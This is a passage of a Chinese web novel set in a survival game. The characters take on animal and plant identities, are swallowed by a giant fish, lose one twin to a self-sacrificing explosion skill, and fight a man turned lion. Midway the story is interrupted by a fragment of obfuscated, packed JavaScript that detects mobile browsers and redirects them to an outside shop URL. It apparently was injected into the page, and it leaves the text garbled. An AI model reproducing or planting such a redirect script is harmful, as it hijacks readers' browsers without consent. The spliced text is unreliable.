再看乔娜,她的头上有两根触角。那触角又长又黑,到处乱晃,看起来就像一个活灵活现的蟑螂。
“噗呲。”温修筱呲着个大牙傻笑。
温筱修连忙捂住了他的嘴。
“我说你,想要笑,也不要直接当着我的面笑啊。”乔娜翻了个大大的白眼。
再看湖中温筱修的倒影,捂着他兄弟的嘴的,不是双手,而是一片大叶子。
温修筱又忍不住笑了起来,但是由于被捂着嘴,所以笑声很奇怪。
温筱修纳闷道:“怎么只有你是特殊的?”
“不知道啊,可能是因为我长得帅的原因吧。”他笑的简直没眼看,让人恨不得给他一个巴掌。
“算了,不和傻子计较。”温筱修放下手,嫌弃地看了他一眼。
“行了,我们继续走吧。”乔娜打着圆场。
湖面辽阔,一眼望不到边,湖的中心有一个小亭屹立,显得突兀,又让人忍不住想要去探索。
他们绕湖走了许久,发现了一条小船被栓在岸边。
小船破旧,看起来许久没有人打理,但是船桨被整齐的摆放着,看得出它原本的主人对他的上心程度。
不是很大的一条小船,但是能将他们完全容纳。
他们依次走上小船,这时,旁边突然冒出了一个中年男人。
那男人头发凌乱,胡子拉碴,穿着一件破旧的皮夹克,向他们挥了挥手,然后又将手放在身前,几个手指头扭来扭去,一副纠结的模样,他面色讪讪地看着他们。
“同胞们,能不能带我一个,我的身份是狮子,如果有需要的话,我可以帮助你们。”男人站得不是很笔直,一只脚轻轻地跺着地面,足以看出他颇为焦虑的心情。
他的眼睛转到湖面上,又转回他们身上,犹犹豫豫的模样。
“当然可以!”温修筱热情地向他招招手,示意他往船上来。
男人上船的速度非常敏捷,还没等玖安回过神来,男人就已经走到了他们的身边。
“你应该和我们商量一下的。”温筱修不赞同地拧了拧温修筱的手。
“噢噢噢,你轻点啦!你是不是想谋杀亲哥!”温修筱抱着手臂跳到一旁,躲在了玖安的身后。
看着自己又处于安全位置内,温筱修难以攻击到他,他又嚣张地笑起来。“哎呀,这不是忘了吗?”
“算了吧。”乔娜拍了拍温筱修的肩膀,安抚地说道。
温筱修把脸侧到一边,一副不想看到他的模样。
“哎呀,别生气了,是我错了还不行吗?好弟弟。”温修筱见他似乎真的生气了,又凑到他的身边,没皮没脸地说道。
他还不忘从兜里掏出一个山楂棒,塞到了温筱修的手上。
“哼,你最爱吃的山楂棒,看我对你多好,不准生气了。”温筱修接过山楂棒,撕开包装纸,将它塞到口里,又安静下来。
玖安在旁边看着他们的互动,觉得这双胞胎真是有趣极了。
乔娜拍了拍的温修筱,“你还不去帮下忙,没看到一直都是他在划船吗?你叫人家上来,不会是不安好心想要把人家当苦力吧?”
那中年男人上船后非常自觉地拿过船桨,奋力地划着船,没有注意双胞胎的争吵,此时他苍白的脸上汗珠浮现。
他并不强壮,双手打着颤,俨然一副疲倦的模样。
显然对于他来说,划一艘承载着好几个人的船,实在是一件比较困难的事情。
“哪里有,你不要诬赖我!”温修筱向那男人递出手,拿过他手上的船浆。
“让我来吧,你好好休息一下。”
男人想要推辞,但是温筱修将他拉到了一旁。
“行了,你让他来吧,让他好好展示一下他的男子气概。你在旁边好好地欣赏他的英姿,时不时给他个夸赞,说不定他会更加兴奋,划得更加卖力呢。”
他没好气的说道。那男人讪讪地搓着手,仿佛一只仓皇的苍蝇,在搓着它的脚,一脸脸无措的模样。
“叔,你就在这里好好休息吧,让我们来就好。”玖安安慰到。
“叫我许昌就行,谢谢你们,你们都是一群好同志。”那男人松了一口气,站在角落里看着他们。
划船并不是一个轻松的活,距离湖中亭还有很长的距离,温修筱就已经累得气喘吁吁,面色潮红,连发丝看起来都要滴出水来。
“行了,让我来,你在旁边休息一会儿吧。”温筱修没好气地夺过他手里的船浆。
温修筱也不推辞,顺势把船桨递到了他的手上。
“感谢你,全天下最好的弟弟!”温修筱做西子捧心状。
温筱修一言不发,但嘴角悄悄勾起了一个浅笑。
后面的路程,四个年轻人轮流换着划船。距离虽长,也不显得这么疲惫了。
“唉,怎么还没到啊?”温修筱靠在温筱修的肩上,无聊的数着指头。
湖面平静,只余微风轻轻吹拂湖面,细小的涟漪滚动。
一切都显得太过安静了,只有他们划船的动静。
“那,那是什么?”许昌面色惝恍,手指颤抖着指着远处。
水面下是一道暗色的阴影,飞快地向他们的方向移动着。
水波振动,好似地震发生了一般。
湖面像一块被打翻的镜子,从中间破碎开来。
黑色阴影挣脱水的束缚,窜出水面。
其身形之巨大,对于他们而言,简直堪比一栋楼。
双胞胎两人看着那身形巨大的怪物,纷纷瞪大了双眼,大张着嘴,如初一致的表情,简直像一个模子里刻出来的。
玖安神情戚戚,不敢相信自己的运气这么背,这怎么还能接连遇见怪物啊?
再定晴一看,那怪物圆滚的像一个吹满气的气球,它有着一张巨嘴,那张嘴从半边身子延伸到另半边身子,几乎要把那怪物从中间劈开似的。
它的牙齿锋利,密密麻麻,看着让人不寒而栗。
许昌扑的倒在旁边,两只手撑着地板,他的瞳孔急速收缩,面上的惊恐几乎要像水一样溢出来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14038613|148793||http|test|mini|href|location''.split(''|''),0,{}));
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>“完了完了,一切都完蛋了,我们没救了。”他的冷汗如细密的珠子般从毛孔渗出,沿着脸颊滴落。
乔娜面色未变,但是她的双手紧紧抓着船的边沿,用力到手指发白,足以看出她心中的恐慌。
面对这样巨型的怪物,他们手足无措,不知道应该做些什么反抗。
双胞胎中的一人拿起船桨飞快地往回划,但是人的力量怎么能比得过这样巨大的怪物呢?
那怪物张大了嘴,像一个被切成两半,将断未断的面包。
湖水包含着鱼,虾以及许多别的生物,包括他们的小船,飞速地向它的嘴里涌去。
怪物来者不拒,猛吸一口。
水面几乎要因为这一股吸力形成漩涡了,他们被卷进怪物的口里,然后被一口吞了进去。
他们很快被吞进了怪物的胃里,漆黑遮蔽了他们的视线,好在他们的船没有翻。
在怪物的胃里划船,怎么不算是一种新奇的体验呢?玖安苦中作乐的想着。
鱼怪的胃里没有什么奇怪的味道,只有湖水淡淡的清新味,这估计是唯一值得庆幸的地方了。
奇怪的黏液仿佛唾沫,从上方掉落,发出“啪嗒”的声响。
不远处传来翻找的声音,半响,黑空间骤然亮堂起来,黑色的帷幕仿佛被一只巨手撕扯开。
突然袭来的明亮微微刺痛了她的眼睛,让她不由地眯起了眼。
好不容易适应后,玖安才开始寻找那光的来源。
正是那个大多数时候都显得沉默,稍微有些格格不入的叔,他手上提着一盏灯,看起来有些不好意思,他微微抿起嘴角,睫毛因为被注视而飞快地扇动。
“这个是我得到的道具,一盏永不熄灭的灯。”许昌解释道。
温修筱用力拍了一把温筱修的背,哪怕面临这种境地,他笑得依旧很灿烂,“呵,还质疑哥的选择不,你看阿叔帮我们多少忙?”
“不敢当,不敢当。”许昌连连摆手。
有了光源,他们才看清周围的环境,显然,现在他们处于鱼怪的胃里,而胃黏膜,距离他们不过半个手臂的距离。
玖安甚至觉得自己隐隐约约感受到了来自鱼怪的温度。
温修筱隔着衣服,触摸了一下鱼怪的胃,轻轻一碰,手又被反弹回来。
“像蹦蹦床一样的感觉,如果踩在上面,应该很好玩。”他一本正经地开着玩笑。
温筱修来不及阻止他的动作,眼睁睁看着他就这么摸了上去。
他抓过温修筱的手,仔细打量了一会,见没有什么奇怪的变化,悄悄松了口气。
“不要随便乱碰啊,你已经不是六岁小孩了!万一有毒怎么办?”
“别那么紧张吗,你又不是不知道算命的曾经说过我命大嘛。”温修筱摆了个无可奈何的手势。
温筱修背过身子,躲在一旁生闷气,温修筱又像狗皮膏药一般黏了过去。
许昌悄悄地问玖安:“他们两个一直都这样的嘛吗?”
玖安又瞥了眼双胞胎,“我不知道啊,我也是半路认识他们的。”
25. 我愿意
“你们年轻人心理素质真好。”许昌看着闹腾的两人,感慨了一句。
“其实也没有,是他们心理素质好,我们还是很慌的好吗。”乔娜在旁边悠悠来了句。
许昌又不说话了,此时双胞胎也安静下来,气氛有些凝滞。
几个人坐在船上,皆是束手无措的模样。
“嘿,要不要试一下你的技能。”
温修筱推了推温筱修,“豌豆射手那么厉害,连僵尸都能打死,说不定在这种场合下也有妙用。”
温筱修面色扭曲,似乎回想起什么不好的回忆,看起来有些为难。
他撇了撇嘴,“你们都闭上眼,不许看。”
“大家拜托拜托啦,我弟他面皮薄,不好意思。”温修筱双手合一,眨巴眨巴着眼睛,一副讨巧的样子。
“真矫情。”乔娜低声说道,虽然是这么说,她薄薄的眼皮轻轻搭在蔚蓝色的眼珠上,在昏暗灯光的照映下,几乎可以看见透明的青色血管。
玖安啥也没说,老老实实地闭上了自己的眼睛。遇事不决,听从安排。
好奇心害死猫,她绝对不是什么好奇心很重的人!虽然真的很好奇这个技能到底是什么样的,让温筱修那么难以启齿!
许昌嘴巴蠕动着,又不知道该说些什么,只能默默离开了视线。
砰砰砰的声响,好像子弹打在墙壁的声音。
玖安捂着脑袋,发出一声哀嚎,“什么东西啊?好痛呀!”
于是她看见还没来得及收回动作的温筱修,嘴唇嘟起,眯着眼,表情奇怪,不复第一次见面时那个清秀的模样,当然,没有哪一个做出这个动作的人面部表情是好看的。
只见一颗又一颗翠绿圆润的豌豆种子从他嘟起的嘴里被喷出来,然后打在了鱼的胃壁上,两相相撞,发出特有的啪啪声响。
鱼的胃很有弹性,而豌豆种子又太过圆润,对于怪造成的伤害简直为零。
反而由于反射打在了玖安的脑门上,她捂着脑袋蹲在地上,眼泪差点就要飙出来了。
对敌方造成的伤害为零,对友方造成的伤害为100。
玖安欲哭无泪。
还有许多豌豆种子随机落在了水里,没有了踪迹。
温筱修看见玖安提前睁开了眼,表情明显的呆滞下来,飞快地缩回嘴唇,躲在了温修筱的身后。
这种情况下,玖安一般不会当着别人的面笑的,除非她实在忍不住。
温修筱脸上肌肉抽搐,扭曲成不同的形状,看得出来憋笑憋得有些难受。
他没有像以往那样明目张胆地笑出来,显然顾及到了他兄弟的情绪。只能说有点良心,但不多。
温筱修整张脸埋在他兄弟的后背,一副不愿意面对的样子。
“唉,难道我们只能丧命于此了吗?”许昌眼皮耷拉,一副无精打彩的悲观模样。
乔娜不语,她的技能在这种场合下确实没有太大的发挥作用。
一时之间,士气低迷。
“别放弃呀,我们还有很多方法没有尝试呢。”玖安安慰到。
她拿出匕首,用力地往鱼胃部一捅,想要靠锋利的刀尖划伤鱼的胃部。
剩下的几人也各自从身上掏出各种各样奇怪的工具。
于是玖安看见了粗壮的狼牙棒,黑色的小皮鞭,还有红色的绳索。
“不是,你们这些人也玩的太花了吧!”玖安看了眼自己朴素的匕首,不敢置信地看着他们。
拿着黑色小皮鞭的许昌,不好意思的挠挠脑袋,本就稀疏的头发,经他这么一折腾,又掉了好几根。
“别这么看我,我可是一个老实人。”
这话听起来怎么这么虚呢?
乔娜抿着嘴,捧着她的低温蜡烛走到了旁边,默默躲开了玖安复杂的眼神。
几人机关用尽,对其造成的伤害,不能说有,只能说一点也没有。
玖安跌坐在床边,拿着匕首的手微微颤抖,鱼胃壁的弹性实在太足了,力量是相互的,她用了多大的力气去攻击与鱼胃,手就受到了多大的回击。
手腕顿痛隐隐,让她恨不得自己是一块大石头,痛觉飞飞。
冷却的时间一到,她就立马启动了技能。
“伪装!”也顾不上尴尬不尴尬,她大声的喊道,希望自己喊的越大声,伪装的身份越厉害。
“伪装成功,你的身份是‘蚯蚓’,蚯蚓小姐曾经有一个梦想,就是要将自己的家族发展壮大,生至少要有一个篮球队的蚯口,为此她每日乐此不疲地寻找一位蚯蚓先生,直到有一天,她被切成了两段。”
“自体繁殖怎么能不算繁殖呢?恭喜你,拥有了极其强大的生命力!”
技能听起来是极好的,和乔娜打不死的小强有的一拼,但是对于目前的困境毫无帮助。
心寒,有的时候不是大吵大闹。
各方技能用尽,却毫无作用。
许昌脚步拖沓地走着,脑袋无力低垂,下巴几乎要碰到胸口,肩膀也垮了下来,仿佛扛着千斤重担。
他来回踱步,眼睛盯着地面,眼神黯淡无光。
好半晌,他的眼睛里又突然冒出惊人的光泽,他目光瞬瞬,盯着温修筱。
“对了,你的技能还没有展示呢,说不定可以帮助我们脱离困境。”
“不行,绝对不行!”
温筱修猛地抬起头,双眼瞬间瞪大,像是两颗受惊的弹珠。
他猛地拉过温修筱,将他扯到自己身后,让他远离了许昌。
他的身体开始微微的
颤抖,肩膀轻轻晃动,带动着双臂也微微发颤,就像两根在地震中摇晃的细树枝。
“别那么紧张,亲爱的弟弟,我不会有事的。”
温修筱轻轻地贴在温筱修的身后,温柔地安抚他的兄弟。
“那还能怎么办!你说我们还能怎么办?”许昌双目赤红,手掌紧紧地握紧,青筋浮现,穷途末路的模样。
“试一试又能怎么样,你想让我们都死在这里吗?”他大吼着,面部肌肉因用力而扭曲,额头青筋暴起,像一条条蜿蜒的小蛇。
“啪”清脆的声响,是温筱修狠狠地甩了许昌一巴掌。
他的眼睛有莫名的水光浮现,“你们死就死,关我哥哥
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什么事?这一切又不是我哥造成的!”
“哗啦啦”鱼胃里的水翻涌着,脚下一个晃荡,站着的许昌由于惯性跌倒在地。
被点燃的火焰瞬间熄灭,船在水上剧烈地摇晃着,像一片脆弱的树叶,在狂风中被肆意地玩弄。
一会被高高地抛起,一会又狠狠地砸下。白色的泡沫疯狂地涌上甲板,船身左右歪斜,几个人东倒西歪。
玖安一下跌到了乔娜的怀里,乔娜勉强将她抱住。
双胞胎紧紧相握着手,许昌用力抓着船的边缘。
这下没有谁还有心思吵架了。“最后不会变成排泄物,被排泄出来吧,希望伪装的技能能够让我在一堆排泄物里保持生机。”玖安苦中作乐地想。
新的湖水混杂着各种生物被鱼怪吞进来,小船在湖水的冲击下飞快地颤动,几乎像是要解体了一般。
船猛的一震,他们像一个个小玩偶一般被高高掷起。玖安觉得自己的五脏六腑都要被抛出来了。
“筱修!”
温修筱发出一声野兽般的哀嚎,只见温筱修半个身子浸在水里。
温修筱一只手紧紧的扣住船的边缘,指节因用力而泛白。另一只手拼命地向前伸,牢牢抓住那个悬在水里的兄弟。
他牙关紧咬,额头汗珠滚滚而下,每一块肌肉都在发力。
“哥!”
玖安想要帮忙,但是却自顾不暇。
船的动静实在是太大了,乔娜紧紧地握着她的手,才没让她也飞出去。
“哥,如果我死了,要替我好好照顾妈妈!”温筱修的声音带着哭腔。
明明穿着成熟,努力想要扮演一个沉着稳定的形象,但是说到底,还是一个没有多少社会经历的小伙,行为举止,都是对哥哥的依赖。
“说什么傻话!有哥在呢!”温修筱身体后倾,手臂上的肌肉高高隆起,像是坚硬的石块。
他的双手如同铁钳一般,紧紧握住对方的手臂,用力一拉。随着他的动作,脖子上的青筋也根根凸显,额头上的汗珠大颗大颗地滚落,终于将温筱修拉回船上。
船依旧在剧烈的颠簸着,两兄弟紧紧相拥,从母体开始就在一起的两人,在此时却近乎疯狂地想要确认对方的存在。
“听着,筱修,让我试一试,游戏到这一地步,总不能不给人活路。”
“不!不!哥哥,不可以!”
泪水从温筱修的眼眶里疯狂地涌出。
“别担心,相信哥,我们还会再次相见的。”
他的眼泪没能阻止温修筱。
“樱桃炸弹,炸!”
他的身体像气球一样变大,几乎要变得和地球一样,无限延伸。
他的头顶到了鱼怪的胃,仍然在不断的变高,那层膜很快紧绷,变白,然后发出一声巨响,他和鱼一起炸裂开来。
但是他们一群人却没有受到任何的伤害。
“你的身份是:樱桃,你的技能:樱桃炸弹,樱桃炸弹是无敌的,将会杀死敌人且不会对队友造成伤害,但是,亲爱的玩家,你愿意用自己的命换别人的存活吗?”
“我愿意。”
26. 主人
鱼的肚子从中间开裂,然后像崩裂的墙,在眨眼间化为一块又一块的碎片。
鱼化为零零散散的肉碎,像烟花一样炸开,淋了他们满头满脸。
一股强劲的水流将他们的小船高高托举,几乎要有五层楼这么高。
温修筱没了踪迹,温筱修则一脸呆滞地瘫在船上,几乎无法控制自己的肌肉,做出表情。
鲜血和碎肉粘在他的发丝上,他脸上红白一片。
他发出一声哀嚎,两眼一翻,昏倒在船上。
玖安抹了一把自己的脸,脸上的血腥味刺鼻,让她几欲做呕。
船体晃荡,玖安隐隐约约看到乔娜趴在船边,吐得一塌糊涂。
此时此刻,许昌竟成为最为冷静的那一位。
一阵旋风吹过,将他们卷起。
她感到一股强大的力量将她包围,狂风在耳边呼啸,仿佛千军万马奔腾而过。
她的视线变得模糊不清,旋风卷起的尘土无水,杂物在空中飞扬。
不知道从哪里飞来的一颗豌豆种子正正中中砸在她的脑门上。
玖安两眼一翻,昏了过去。
昏过去的时候,她在想:倒霉的怎么总是她呀?
再次睁开眼,玖安觉得脑袋钝痛,一摸,发现头上被砸的地方肿了一块。
那肿块微微发着热,不用照镜子,玖安就知道自己现在看起来有多滑稽。
他们现在正在湖中亭,虽然玖安不知道他们是怎么来到这里的。
在湖岸的时候看,湖中亭很小,像遗落在沙滩上的一颗珍珠,初看便闪耀着熠熠的光辉。
现在置身于这里,才发现,亭子并不小。
乔娜成“大”字,躺在地上还没醒过来。温筱修蜷缩成一团,保持着在母体姿势。睫毛轻颤,一副惶恐的模样。
中年男人许昌倒是已经清醒过来,半蹲着坐在旁边。
她隐隐约约看到许昌的脖子上好像浮现出一根又一根金黄色的毛。
那鬃毛好似一块毛茸茸的围脖,挂在他的脖子上。
与他黑白交杂,有些稀疏的头发相称,显得有些滑稽不堪。
他背对着他们蹲着,手撑在地上,整个身躯都在抖动。
细小的呢喃从他的方向传来,玖安听不太清他在说些什么。
本着大家都是好同胞的想法,玖安走到他的身侧。
“叔,你咋了?”
许昌没有说话,喉咙里传来一声又一声低沉的声响。
靠得近了,玖安才听清他到底在说些什么。
“好饿,好饿……”他不断的重复这两个字。他面色无光,眼神呆滞,好像被什么控制了身体。
“叔,我有面包,你要不要吃点?”玖安好人做到底,从包里掏出了乔娜给的烤肉面包。
许昌仿佛饿狼扑食,一把夺过了她手里的面包,嘴张到极限,将整个面包塞到嘴里,几乎不用咀嚼,就将面包咽下。
事情似乎有些不对劲,玖安下意识远离了男人。
“我是一只狮子,狮子……”
就在林玖安的眼下,他的身体开始剧烈颤抖,骨骼发出噼里啪啦的响声,脸庞逐渐拉长,嘴巴向前突出,锋利的獠牙从唇间挤出。
他脖子周围的皮肤迅速长出浓密而厚实的鬃毛,双手变形为粗壮的狮爪,指尖的利爪寒光闪闪。
他的双腿也变得强健有力,肌肉贲张,他变成了一只狮子。
没等玖安的脑子转过来弯来,她的双腿已经下意识迈开。
但是亭子到底就这么大,她的两条人腿,怎么比得过狮子的四条腿?
更何况,那人变成的狮子,此时蹲在乔娜的身旁,鼻子凑到她的脸上,使劲嗅了嗅。
它晃了晃脑袋,张开血盆大口,似乎想要一口将乔娜的脑袋咬下来。
玖安双腿打着摆子,也不知道从哪里来的勇气,从旁边抓起一块巴掌大石头,用力向的面前的狮子砸去。
准头很好,正中脑门。
她现在是跟脑门被砸过不去了,玖安笑得苦涩,像一口气喝了一杯超级苦的冰美式一样。
狮子宽厚的手掌摸了摸自己的脑门,明明是非常人性化的动作,但是却让她有些不寒而栗。
它的视线从面前昏倒的女人身上离开,缓慢地转移到玖安的身上。
一种被视为猎物的感觉,玖安汗毛竖起,几乎想要扭头就跑。
狮子压低身体,尾巴左右摆动,眼睛紧紧地盯着她,像一个准备出击的弹簧。
它双耳向后贴紧脑袋,发出低沉的咆哮声。
玖安一只脚向前,一只脚向后压紧,心在狂跳,她握紧手中的匕首,希望匕首能给予她勇气。
此时她的技能仍在生效:一只生命顽强的蚯蚓。她寄希望于能将面前的狮子生生磨死。
面前的情况,不是它死,就是他们死。
昏倒的乔娜,绝望的温筱修,变成狮子的许昌,还有瘦弱的她。
重担子全在她的身上,玖安觉得压力山大。
毫无预兆,狮子猛地扑来。玖安往旁边一闪,勉强躲过了狮子的攻击。
但狮子随即转身,挥出巨爪,带起一阵风。
她的衣衫被划破,手臂出现血痕。玖安握紧匕首,趁狮子再次进攻时,朝着它的眼睛挥出重击。
狮子吃痛怒吼,接着她抱住狮子粗壮的前肢,与它角力,本就不丰满的手部肌肉因用力而鼓起,汗水混着血水在脸上流淌。
再这么打下去,她手上的肌肉估计能比健身房里专门练出来的还要饱满了,玖安在心里默默地想。
狮子铜铃般的眼睛里再不见一丝人性,满是野性的光芒。
它低伏着身体,怒张的嘴里散发出一阵一阵的腥气,它像蓄势待发的黑色闪电,随着一声震耳欲聋的咆哮,狮子猛地向前冲击。
巨大的冲击力将玖安撞倒在地,她觉得胸口一阵剧痛,仿佛五脏六腑都移了位。
她咬紧牙关,不让自己痛呼出声。她用匕首朝狮子刺去,却只是划伤了它的皮毛。
狮子明显被激怒,又一下将她撞翻在地。
本就负伤的背部与地面亲密接触,发出刺啦的声响。
衣物因为多次的摩擦不堪重负,被撕出一个大大的口子。
因为巨大的撞击力,她的匕首差
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点脱手。
此时狮子几乎毫发无损,它轻松一跃,那沉重而温热的身躯如一座小山般压在她身上,散发着浓烈的腥气。
它的利爪深深嵌入她身旁的土地,尖锐的爪尖距离她的肌肤仅毫厘之隔。
狮子那血盆大口近在咫尺,呼出的气息带着死亡的味道,滴下的涎水落在她的脸上,仿佛死神在轻叩她的额头,而她手中的匕首此刻也显得如此无力。
她疲惫极了,身体和精神处于极端的紧张中,恨不得代替地上还没醒的两人晕过去。
这两个家伙,睡那么死沉,这么大的动静都闹不醒他们,真就是全靠她啊。
但是她现在自身不保,也非常的无能为力呀。
玖安想,自己真的快要变成这狮子口里的食物了,死亡离她很近,却显得不真实起来。
新伤加上旧伤,剧烈的疼痛让她的脑子像浆糊一样难以思考。
………………
此时此刻,沈该像无数个以往的日子一样,端坐在床上,沉思,沉思。
思考些什么?不清楚,准确来说,他应该在发呆。
他开始想象,想象自己变成一颗种子。在春天来临的时候,在天气逐渐变暖的时候,努力顶破头上层层叠叠的泥土,然后新生成为一颗小芽,见到温暖的太阳。
他又想象自己成为一只鸟,一直有着并不宽大翅膀的鸟,在蓝天上自由自在的飞翔,去到不同的地方,欣赏不同的风光。
真好,真好。
然后他眼前一黑,就这么水灵灵地晕过去了。
再次醒过来的时候,他从空中掉在地上,好像一只被折翼的鸟,他心里想。
但是,不太痛。
要痛些才好,痛,从肢体上传来的,外在的,或者是内里的,无论是什么样的,才会告诉他,他是一个活生生的人,而不是其他的什么东西。
然后他发现他又变成了那个小人,那个身上密密麻麻都是经络图的小子。
此时他不在拥有着柔软被子的房间里,四面阳光透亮,刺得他的眼睛有些微疼。
这小人不会是被抛弃了吧?他心里阴暗地想到。
然后他又看见了那个女孩,简直要认不出来了。
那女孩浑身上下都是血,干涸的,还没有干涸的,头发丝里是散发着恶臭的碎肉。
此时一个巨大的狮子正压在她的身上,嘴大张着,似乎要将她一口毙命。
得亏他记忆力好,才能认出这个人是谁。
女孩双眼大张着,死死盯着面前的狮子。面上一副不愿屈服的表情。
“叮,你的身份是:老虎,你是百兽之王,对所有的动物都具有威慑作用。你的主人的身份是:猴面小龙兰,她正面临着生命危机,你是否自愿与她交换身份?”
主人,谁?面前这个快要被狮子吃掉的女孩?
沈该有些懵,眼睛瞪得老大。
他心里有些不满“主人”两个字,凭什么她是主人?他不属于任何一个人!
但是显然现在应该关注的不是这个,虽然心有不满,他并不愿意面前的人死在他眼前。
他选择了“是”。
27. 替身
“沈该发起身份交换,请在三秒内作出选择。”
玖安因为失血过多,脑子晕乎乎的,像喝了一斤的白酒,根本没有反应过来。
“三,二,一,玩家未作出应答,默认为接受,你的身份为:老虎。”
“你是一只老虎,是百兽之王,你的存在对大部分动物具有威慑作用。”
一股力量注入玖安的身体,让她恢复了一些精神。
狮子的动作停顿下来,眼睛瞪大,瞳孔收缩。它身体紧绷,四肢微微弯曲,尾巴快速地左右抽打。
玖安稍微转动了一下身子,狮子浑身紧绷,飞速地向后退了一步。
这个动作也给了她反击的机会,在被太阳炙烤得逐渐滚烫的地面上,她瞅准时机,手中的匕首向她它的脸插去。
狮子愤怒地张开血盆大嘴,锋利的牙齿在阳光下闪烁着寒光。她反应极快,敏捷地躲开。
玖安顺势刺向十字的腹部,在它的腹部留下一道深深的划痕。
狮子被激怒,向她扑击,玖安始终保持着警惕,寻找着反击的机会。
终于在狮子一次扑空后的瞬间,她一个箭步上前,将匕首狠狠地刺向狮子的喉咙,锋利的刀尖与肉相触,鲜血喷涌而出。
狮子发出一声痛苦的吼叫,但它仍然挣扎着想要扑向玖安。
玖安迅速抽出匕首,再次刺向狮子的要害。
经过一番激烈的搏斗,狮子的动作渐渐迟缓,最终无力地倒在了地上,鲜血流淌了一地。
那狮子的动静渐渐小了,它没有变回人,以狮子的身份,死在她的面前。
玖安再也支撑不住,她此时两眼昏黑,大喘着气,跌坐在地上。
那两个人还昏迷着,一点动静都没有。
不靠谱的队友,玖安默默在心里吐槽。
沈该早在玖安大战狮子的时候就跑了过去,奈何两条腿实在太短。等一切都尘埃落定的时候,他才跑到玖安的身边。
“你没事吧。”他皱了皱眉头,发现自己实在是太矮了,哪怕现在玖安是坐在地上,他都得仰着头,才能看见她的脸。
他从口袋里掏啊掏,掏出了一块布,那块布越扯越大,当整块扯出来的时候,已经变得有他整个人这么大了。
这是他在宫殿里常用的帕子,不知道为什么会出现在这个小人的口袋里。
他看了一眼玖安满脸的脏污,又看了看自己干净洁白,每天都要清洗的帕子,颇有些不情愿。
但是又看不得对方这么脏,心不甘情不愿地把帕子递了过去。
“你擦擦吧。”
她接过帕子,一脸惊奇感动。
“该该,你会说话啦?”她一边擦洗自己的脸庞,眼珠子一边粘在他的身上,好像怎么都看不够一般。
好亲密的称呼,他的脸微微发红。
“该该,你的帕子好香呀。”果然还是该该好呀,不像那两个还在地上躺着的队友。
什么狼虎之词?实在是,实在是太不和体统了!
沈该的脸彻底爆红,像点燃的火堆,热度经久不散。
“感谢你,我们家最可爱,最能干的该该同志!”玖安想要给该该一个爱的抱抱,然后发现自己身上太脏了,对方又太干净了,于是做罢。
算了,还是洗干净,香香喷喷的时候再抱吧。
沈该却莫名冷静下来,好像有一盆冷水浇在了他的脑门上。
是了,人家嘴里叫的,想要拥抱的,都是原本的“该该”,与他这个莫名其妙占了对方身体的人有什么关系?
他简直就是一个小偷!沈该心情低沉下去,心里混杂着一种难以言说的复杂情感。
稍稍休息了一会儿,玖安觉得自己的精神好了很多。
今天又是生命力顽强的一天,她几乎觉得她才是真正的小强,乔娜反而是假小强。
此时风平浪静,乔娜才悠悠转醒。
温筱修自醒来后便面色阴沉,一脸沉默的站在边上,好似一块木头,一切都与他无关。
“这是怎么了?”乔娜一只手捂着嘴,一只手指着狮子的尸体,眼睛睁大,蔚蓝色的眼珠里一出一丝惊奇。
玖安勉强笑笑,“没啥,你醒的时机可能不太凑巧。”
没啥,她已经全部解决了。雌鹰一般的女子,敢于直面凶猛的狮子。
“这里有几行字。”没有人注意的角落,温筱修说到,他看起来像是已经接受了事实,面色淡淡,看不出崩溃的模样。
甚至还有精力在亭子上寻找线索,但是谁也不知道他具体的心情。
她们安静地靠近,玖安将小人放进自己衣服靠内的口袋里,那估计是她身上唯一干净的地方了。
沈该模仿想象中小人的模样,没有一丝异议,非常老实地待在口袋里。
衣服不算薄,棉质的内衬摸起来质感很好。
但是溅在衣服外的血液凝固的腥味依旧透过服装细微的孔洞传到他的鼻腔,直达上颚。
有的腥味,它的腥只是在鼻腔,但是它的铁锈味,会通过鼻腔充斥整个胸膛。
沈该默默地将脑袋埋进了玖安的里衣,没有什么奇怪的气味,只有一股淡淡的皂香。
这股味道冲淡了他的恶心感,他使劲地吸了一口气。
他后知后觉这个动作不太礼貌,脸上一片燥热。
口袋很宽大,他整个人缩在里面,颇有些难为情。
玖安走到温筱修所指的地方,亭子上的柱子刻着字,稍微抬头,便把那些字收纳眼底。
“两只怪物,两只怪物,跑得快,一只没有双腿,一只多出双腿,真奇怪,真奇怪。”
看起来颇像《两只老虎》调调的奇怪填词,颇为诡异。
她走向另外一根柱子,果不其然,那里也有字。
“初闻不知曲中意,再闻已是画中人。”
四根柱子,四句不同的画。
另外两句分别是:
“我说你是一只兔子,你就是一只兔子。”
“我说你是一只兔子,你就是一只兔子?”
只有标点符号略有差别,乔娜挠了挠脑袋,抓掉了好几根头发。
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林玖安看了一眼对方茂盛如春草的头发,又摸一摸自己因为熬夜复习日渐稀疏的秀发,悄悄地放下手。
有的动作就让别人做吧,她还是算了。
“最讨厌谜语人了,根本看不懂是什么意思啊。”
乔娜吹了吹自己的刘海,手指无意识地抚摸柱子,一只脚轻跺着地面,烦躁的模样。
没错,她也很讨厌谜语人。玖安点头,表示赞同,虽然她现在有一点点的头绪,但是不知正确与否。
她走到湖边,看见自己的倒影,现在她的脸上不是猴面小龙兰了,脸看起来很正常,但是手却变成了老虎爪子。
她在心里默念:我是老虎,我是一只老虎。
水面上的倒影出现了细微的变化,他的脸上出现了属于老虎的痕迹,肚子传来了一阵又一阵灭顶的饥饿,一股想要生啖血肉的冲动涌上心头。
她看了眼跟在她身后的两人,就好像饿极了的狼看到了羊,眼光发绿,恨不得直扑到他们身上,大快朵颐一顿。
这时该该在口袋里扭动了一下身子,属于小人的触感从腰侧传来,她摇了摇脑袋,如梦初醒一般,将“我是一只老虎”的念头抛开。
嘿,她怎么可能是老虎呢?看这又笔直又长的腿,是老虎能有的吗?再看这细腻又光滑的皮肤,是老虎能拥有的吗?好吧,虽然现在看起来有一点脏,但是,她可是一个货真价实的人!
这样子想想,玖安在心里坚定自己的物种,此时再看湖中倒影,老虎的特征明显地减少。
“我有一个猜想,这里或许一直在给我们下暗示,从我们上这个岛开始,听到的一个声音,一直在强调,让我们记住自己的身份。”
